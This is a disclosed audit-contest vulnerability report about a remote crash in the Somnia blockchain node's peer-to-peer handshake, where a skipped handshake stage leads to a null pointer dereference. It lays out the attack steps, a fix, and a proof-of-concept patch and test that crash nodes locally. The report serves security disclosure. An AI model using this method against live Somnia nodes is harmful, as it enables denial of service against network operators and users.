Somnia Disclosed Report

Audit report Somnia Audit Contest

Somnia - Node Crash via Null Pointer Dereference

Company
Created date
Sep 10 2025

Target

https://github.com/hackenproof-public/somnia

Vulnerability Details

Somnia - Node Crash via Null Pointer Dereference

Description

A critical vulnerability exists in the peer-to-peer handshake state machine that allows an attacker to crash any Somnia node through a deliberate null pointer dereference. This attack exploits insufficient state validation during the handshake completion phase, enabling remote denial of service attacks against individual nodes or the entire network.

Technical Analysis

Normal Handshake Flow

The peer-to-peer handshake protocol follows a strict three-stage sequence:

  1. SendChallengeHandshakeMessage: Initial challenge exchange and network ID verification
  2. RespondToChallengeHandshakeMessage: Challenge signature verification and peer identity establishment
  3. FinishedHandshakeMessage: Handshake completion confirmation and transition to payload mode

Each stage depends on successful completion of the previous stage, with the verified_peer_address field being populated during stage 2 when the peer's identity is cryptographically verified.

Vulnerability Root Cause

The handshake completion logic in FinishedHandshakeMessage processing contains insufficient state validation that fails to ensure the proper sequence of handshake stages.

This is the only validation:

            // The peer is telling us they have finished the handshake (and have verified our
            // address). All future messages will be payload.
            if (incoming_handshake_state != IncomingHandshakeState::READY_TO_FINISH) {
              // We were not expecting this.
              return false;
            }

Since incoming_handshake_state is set to READY_TO_FINISH during stage 1, the attacker can send a FinishedHandshakeMessage directly without completing stage 2.

This means that when verified_peer_address is read during stage 3, it will still be null, causing a segmentation fault when the node tries to dereference it:

spdlog::info("PeerNetwork successfully completed handshake with {}",
             *verified_peer_address);  // <- NULL DEREFERENCE

Attack Methodology

Step-by-Step Attack Flow

  1. Connection Initiation

    • Attacker establishes TCP connection to target Somnia node
    • Normal handshake begins with challenge exchange
  2. Stage 1 Completion

    • Attacker sends SendChallengeHandshakeMessage with arbitrary challenge
    • Target node responds and sets incoming_handshake_state = READY_TO_FINISH
    • Critical: verified_peer_address remains null (only set in stage 2)
  3. Stage 2 Bypass

    • Attacker deliberately skips RespondToChallengeHandshakeMessage
    • No peer identity verification occurs
    • verified_peer_address remains uninitialized (null)
  4. Stage 3 Exploitation

    • Attacker sends FinishedHandshakeMessage directly
    • State validation passes: incoming_handshake_state == READY_TO_FINISH
    • Logging code attempts to dereference null verified_peer_address
    • Result: Segmentation fault and immediate node termination

Impact

Severity: Critical

This vulnerability enables remote denial of service attacks against Somnia nodes through a simple, low-resource attack vector. It allows an attacker to crash any node, resulting in a complete network shutdown.

Recommendation

Primary Fix: Enhanced State Validation

Implement comprehensive handshake state validation to ensure proper stage sequencing:

// In FinishedHandshakeMessage handler
if (incoming_handshake_state != IncomingHandshakeState::READY_TO_FINISH || 
    outgoing_handshake_state != OutgoingHandshakeState::READY_TO_FINISH) {
  return false;
}

Validation steps

Proof of Concept

Add the following check to the file peer_network.cc#L360:

            if (HexStringToAddress("0x054a8494bea2c5251e70c3e8120138b21ab91193") != peer_network_transport.our_private_keys.GetAddress()) {
              socket.Write(smash::SerialiseToVector<HandshakeMessage>(
                RespondToChallengeHandshakeMessage{signature}));
            }

We are using 0x054a8494bea2c5251e70c3e8120138b21ab91193 as the attacker node, so if we are the attacker, we should not send the RespondToChallengeHandshakeMessage.

Add the following test to demonstrate the attack to the file protocol_network_test.cc:

TEST_F(ProtocolNetworkTest, ProtocolNetworkNodeCrash) {
  std::vector<std::unique_ptr<NodeActorManager>> nodes;
  std::vector<crypto::PrivateKeys> keys;
  std::vector<ChainParameters> params;

  // Create 3 nodes: Attacker, Node A, Node B
  for (int i = 0; i < 3; i++) {
    keys.emplace_back(crypto::PrivateKeys::GenerateNonRandomKeys(1337 + i));
    params.push_back(protocol_network_chain_parameters);

    params[i].local_parameters.protocol_listen_port = 9051 + (i * 10);
    params[i].local_parameters.data_listen_port = 9101 + (i * 10);
    params[i].local_parameters.api_http_port = 9201 + (i * 10);
    params[i].local_parameters.api_websocket_port = 9301 + (i * 10);
    params[i].local_parameters.storage_database_directory =
        fmt::format("/tmp/somnia_{}_{}", keys[i].GetAddress(), RandomHash());

    nodes.emplace_back(std::make_unique<NodeActorManager>(params[i], keys[i], epoch_manager));
  }

  auto& main_network = nodes[0]->protocol_network.GetAsyncProtocolNetwork();

  // Trigger the attack by connecting the attacker to both legitimate nodes
  for (int i = 1; i < 3; i++) {
    main_network.ConnectToPeer(keys[i].GetAddress(), "127.0.0." + std::to_string(i),
                               params[i].local_parameters.protocol_listen_port);
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
  }

  // Allow sufficient time for attack execution
  std::this_thread::sleep_for(std::chrono::seconds(15));
}

Execution Instructions

bazel test --config no-avx -s //somnia/node:protocol_network_test --test_output=all --test_filter="ProtocolNetworkTest.*"

Note: Timing may need adjustment based on system performance and network conditions.

Expected Results

The test will crash the node.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
High
Bounty$4,272
Visibilitypartially
VulnerabilityBlockchain
Participants (2)
author
triage team